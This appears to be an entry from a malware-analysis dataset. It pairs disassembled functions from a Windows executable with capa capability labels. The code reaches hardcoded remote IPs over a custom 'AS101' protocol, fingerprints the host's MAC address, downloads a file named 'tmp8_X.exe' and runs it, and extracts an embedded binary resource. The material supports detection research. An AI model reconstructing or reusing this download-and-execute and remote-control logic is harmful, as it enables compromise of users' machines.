joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4025cd
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x248], ax
xor esi, esi
lea eax, [ebp - 0x246]
push esi
push eax
call fcn.00415240
add esp, 0xc
lea eax, [ebp - 0x3d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x436480
call fcn.004019dc
pop ecx
push 2
pop ebx
test eax, eax
jne 0x4026e8
push 0x3a
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push esi
push eax
call fcn.00415240
add esp, 0xc
lea edi, [ebp - 0x40]
call fcn.0040277a
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x436628], cx
add eax, ebx
cmp cx, si
jne 0x40264a
push str.218.54.31.165
push 0x40
push 0x436484
call fcn.00412ed9
add esp, 0xc
push 0x51
pop eax
push str.AAAA
push 0x10
push 0x436506
mov word [0x436504], ax
call fcn.00412ed9
add esp, 0xc
push 0x42b780
push 0x40
push 0x436526
call fcn.00412ed9
mov eax, 0x2b66
add esp, 0xc
mov word [0x4365a6], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x436608], cx
add eax, ebx
cmp cx, si
jne 0x4026af
mov edi, 0x436608
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x4026c9
mov esi, 0x42b924
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x436648], 5
xor esi, esi
call fcn.00402808
lea edi, [ebp - 0x248]
call fcn.0040277a
xor eax, eax
movzx ecx, word [ebp + eax - 0x248]
mov word [eax + 0x4368b8], cx
add eax, ebx
cmp cx, si
jne 0x4026fa
mov edi, 0x4368b8
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
cmp eax, esi
je 0x402731
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x40276b
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
test eax, eax
je 0x40272d
mov ebx, 0x436938
call fcn.004029ef
mov eax, dword [0x43664c]
push esi
push esi
push esi
push 0x402e65
push esi
push esi
mov dword [0x436940], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x432fc4], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412e4d
leave
ret
Function at 0x402be6
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
xor ebx, ebx
call fcn.00413d6c
pop ecx
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402c57
push dword [ebp - 0x28]
call fcn.004142c7
push dword [ebp - 0x34]
call fcn.00413d6c
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x402d11
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x402d11
jmp 0x402c7e
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x2c]
test edi, edi
je 0x402c91
lea esi, [eax + 0x194]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax + 0x1ac]
test esi, esi
je 0x402d00
lea edi, [esi + 4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402ca3
sub eax, ecx
cmp eax, 0x10
jle 0x402cb4
push 0x10
pop eax
xor ecx, ecx
test eax, eax
jl 0x402cd4
cmp ecx, eax
jne 0x402cc5
xor edx, edx
mov word [ebp + ecx*2 - 0x24], dx
movsx dx, byte [edi + ecx]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x402cbc
lea eax, [ebp - 0x24]
push eax
call fcn.00402891
pop ecx
test eax, eax
je 0x402cf6
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
push 0x10
push dword [eax + ebx*4]
call fcn.00412ed9
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x402c9b
mov eax, dword [ebp - 0x30]
test ebx, ebx
jg 0x402d11
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x402c7b
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x402d28
push dword [ebp - 0x28]
call fcn.004142c7
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.00412e4d
leave
ret
Function at 0x40307f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push dword [ebp + 8]
mov dword [ebp - 0x430], ecx
call fcn.004031f0
pop ecx
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x4031e4
push ebx
push esi
push edi
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push eax
call fcn.00415240
xor eax, eax
push esi
push eax
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push eax
call fcn.00415240
lea edi, [ebp - 0x220]
call fcn.00402f64
push 0x42b878
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00412e5c
mov byte [ebp - 0x18], 0
add esp, 0x24
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x435b68
cmp word [ebx], 0
je 0x403171
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00412ed9
push ebx
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00412e5c
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x18]
call fcn.00405489
add esp, 0x1c
test eax, eax
je 0x403171
push 5
pop ecx
lea edi, [ebx + 0x104]
lea esi, [ebp - 0x18]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
mov esi, 0x104
jne 0x403171
mov word [ebx], ax
add ebx, 0x118
cmp ebx, 0x4360e0
jl 0x403119
mov edi, 0x435b68
cmp word [edi], 0
je 0x40319c
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x430]
call fcn.00403974
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x4360e0
jl 0x403184
push 0x436b38
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.00412e5c
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
jne 0x4031de
mov dword [ebp - 0x42c], 2
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412e4d
leave
ret
Function at 0x4033c7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a8
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x804]
cmp ecx, ebx
je 0x4033e9
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9a4]
push eax
push 0x101
mov dword [ebp - 0x9a8], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403411
xor eax, eax
jmp 0x4034a3
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x40340a
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403451
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9a8], eax
push 4
lea eax, [ebp - 0x9a8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403492
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x810], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x814], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x812], ax
push 0x10
lea eax, [ebp - 0x814]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403492
xor ebx, ebx
inc ebx
jmp 0x4034a1
mov eax, dword [esi]
test eax, eax
je 0x4034a1
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00412e4d
leave
ret

Function at 0x4035dc
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403659
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403603
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x4035f7
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00408a1a
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00419d00
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x40365c
cmp eax, dword [ebp - 4]
jne 0x40365c
mov dword [ebp - 8], 1
jmp 0x40365c
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403667
push ebx
call fcn.00408a0f
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x403800
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x40383e
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x40395c
cmp edi, ebx
je 0x40395c
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.00415240
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x40395c
cmp eax, ebx
je 0x40395c
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00408a1a
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x403947
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x403925
test eax, eax
je 0x403925
add ebx, eax
cmp edi, ebx
jg 0x4038ad
push 5
pop ecx
cmp ebx, ecx
jl 0x403947
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x403947
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x403905
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x4038ff
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x40392d
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00419d00
mov dword [esi], ebx
jmp 0x40393a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x403947
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00419d00
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x40395c
push dword [ebp - 0x860]
call fcn.00408a0f
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412e4d
add ebp, 0x70
leave
ret
Function at 0x403bad
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.004176f0
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x403bf3
xor eax, eax
jmp 0x403c3b
cmp dword [ebp - 0x78], ebx
jbe 0x403c2a
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x403c2a
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00413981
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
jb 0x403bf8
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.00413742
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.00412e4d
add ebp, 0xf90
leave
ret
Function at 0x403e9f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push str.IDR_BINARY
mov ebx, eax
push 0x89
push ebx
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov ebp, eax
cmp ebp, edi
je 0x403f03
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebp
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebx, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00408a1a
push esi
mov edi, eax
push 0
push edi
call fcn.00415240
push esi
push ebx
push edi
call fcn.00419d00
add esp, 0x1c
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
ret

Function at 0x403f09
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403f32
push dword [ebp + 8]
call fcn.00403fa9
pop ecx
cmp eax, dword [ebp + 0x10]
jne 0x403f32
inc ebx
jmp 0x403fa2
mov edi, 0x200000
push edi
call fcn.00413d6c
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
lea edi, [ebp - 4]
call fcn.00403ffe
add esp, 0xc
test eax, eax
je 0x403f9b
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00412f48
pop ecx
push 0x32
mov eax, 0xc8
call fcn.004021eb
mov edi, dword [ebp - 4]
pop ecx
push eax
lea ebx, [edi + esi]
mov dword [ebp + 0x10], eax
call fcn.00402412
add edi, dword [ebp + 0x10]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.0040406c
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.004142c7
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x403fa9
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push closesocket
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x403fd8
mov edx, esi
jmp 0x403ff7
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
cmp eax, 1
jne 0x403fee
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40406c
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40408c
mov eax, dword [ebp + 8]
call fcn.004040d7
test eax, eax
je 0x4040d2
push edi
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4040d1
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x4040ca
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x4040d7
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4040ea
xor eax, eax
pop esi
ret
test al, 1
je 0x4040f1
xor eax, 1
test al, 4
je 0x4040f8
xor eax, 4
test al, 2
je 0x4040ff
xor eax, 2
test al, 0x20
je 0x404106
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, esi
pop esi
ret
Function at 0x404169
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x431c20]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
xor eax, eax
movzx ecx, word [eax + str.OurPro]
mov word [eax + 0x4361a8], cx
inc eax
inc eax
cmp cx, si
jne 0x40418d
xor eax, eax
movzx ecx, word [eax + str.WinCls]
mov word [eax + 0x4360e0], cx
inc eax
inc eax
cmp cx, si
jne 0x4041a4
mov eax, edi
call fcn.00404333
mov eax, dword [ebp + 0x10]
mov edx, 0x436278
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
cmp cx, si
jne 0x4041ca
call section..text
push 0x7d0
mov dword [0x432fc0], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.0040109c
test eax, eax
je 0x404202
call fcn.00402454
push esi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push esi
push edi
push esi
push esi
push esi
mov eax, closesocket
push eax
push esi
push eax
push 0xcf0000
push 0x4361a8
push 0x4360e0
push esi
mov dword [0x436270], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404238
call fcn.004025cd
cmp eax, esi
jne 0x404251
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00412e4d
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
mov word [esp + 0x14], ax
lea eax, [esp + 0x16]
push esi
push eax
call fcn.00415240
mov ecx, dword [0x436780]
add esp, 0xc
cmp ecx, esi
jbe 0x404294
cmp word [0x436784], si
jbe 0x404294
mov esi, str.218.54.31.226
call fcn.00402f00
mov ax, word [0x436784]
mov word [0x432fb4], ax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov esi, ecx
div esi
xor edx, edx
mov ebx, 0x436b38
div ecx
push edx
push str.tmp8_X.exe
push ebx
call fcn.00404415
add esp, 0xc
call fcn.00402fc0
lea edi, [esp + 0x10]
call fcn.00402f64
push 0x42b878
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00412e5c
add esp, 0xc
push ebx
mov eax, edi
push esi
push eax
call fcn.00412e5c
add esp, 0xc
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40431c
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
xor eax, eax
push eax
push 0x42b998
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00403c52
push 0
jmp 0x4041fc

Function at 0x4052f5
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x405489
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xff0]
mov eax, 0x1070
call fcn.004176f0
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0xfec], eax
mov eax, dword [ebp + 0xff8]
push esi
push edi
push 0x42b870
push eax
lea eax, [ebp - 0x18]
mov esi, ecx
xor edi, edi
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
call fcn.004133bb
add esp, 0xc
cmp dword [ebp - 0x18], edi
jne 0x4054e4
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
jmp 0x405577
push ebx
push 2
push edi
push dword [ebp - 0x18]
call fcn.00413a8d
push dword [ebp - 0x18]
call fcn.00413caf
push edi
push edi
push dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
call fcn.00413a8d
lea eax, [ebp - 0x80]
call fcn.004052f5
push dword [ebp - 0x18]
mov esi, 0x1000
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.004136ae
mov ebx, eax
add esp, 0x2c
cmp ebx, edi
jbe 0x405551
push ebx
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x14]
call fcn.00405320
push dword [ebp - 0x18]
add dword [ebp - 0x1c], ebx
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.004136ae
mov ebx, eax
add esp, 0x14
test ebx, ebx
ja 0x40552a
mov edi, dword [ebp - 0x20]
push edi
lea esi, [ebp - 0x80]
call fcn.004053b9
push dword [ebp - 0x18]
call fcn.00413742
mov eax, dword [ebp - 0x1c]
pop ecx
pop ecx
pop ebx
cmp eax, dword [ebp - 0x24]
jb 0x4054d6
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xfec]
pop edi
xor ecx, ebp
pop esi
call fcn.00412e4d
add ebp, 0xff0
leave
ret

Function at 0x406d1a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x406d25
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x406dd7
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce78]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce78]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce78]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce78]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce78]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce78]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce78]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce78]
inc ecx
sub edi, 8
dec esi
jne 0x406d3c
pop ebx
test edi, edi
je 0x406df0
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x42ce78]
inc ecx
dec edi
jne 0x406ddb
pop esi
not eax
pop edi
ret
Function at 0x406df5
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x42ce78]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x42ce78]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x40746a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x40749a
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 2]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x407495
mov byte [esi + 6], 1
mov eax, dword [ebp + 0x10]
jmp 0x4074c2
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x4074ab
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0xc]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.00419d00
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret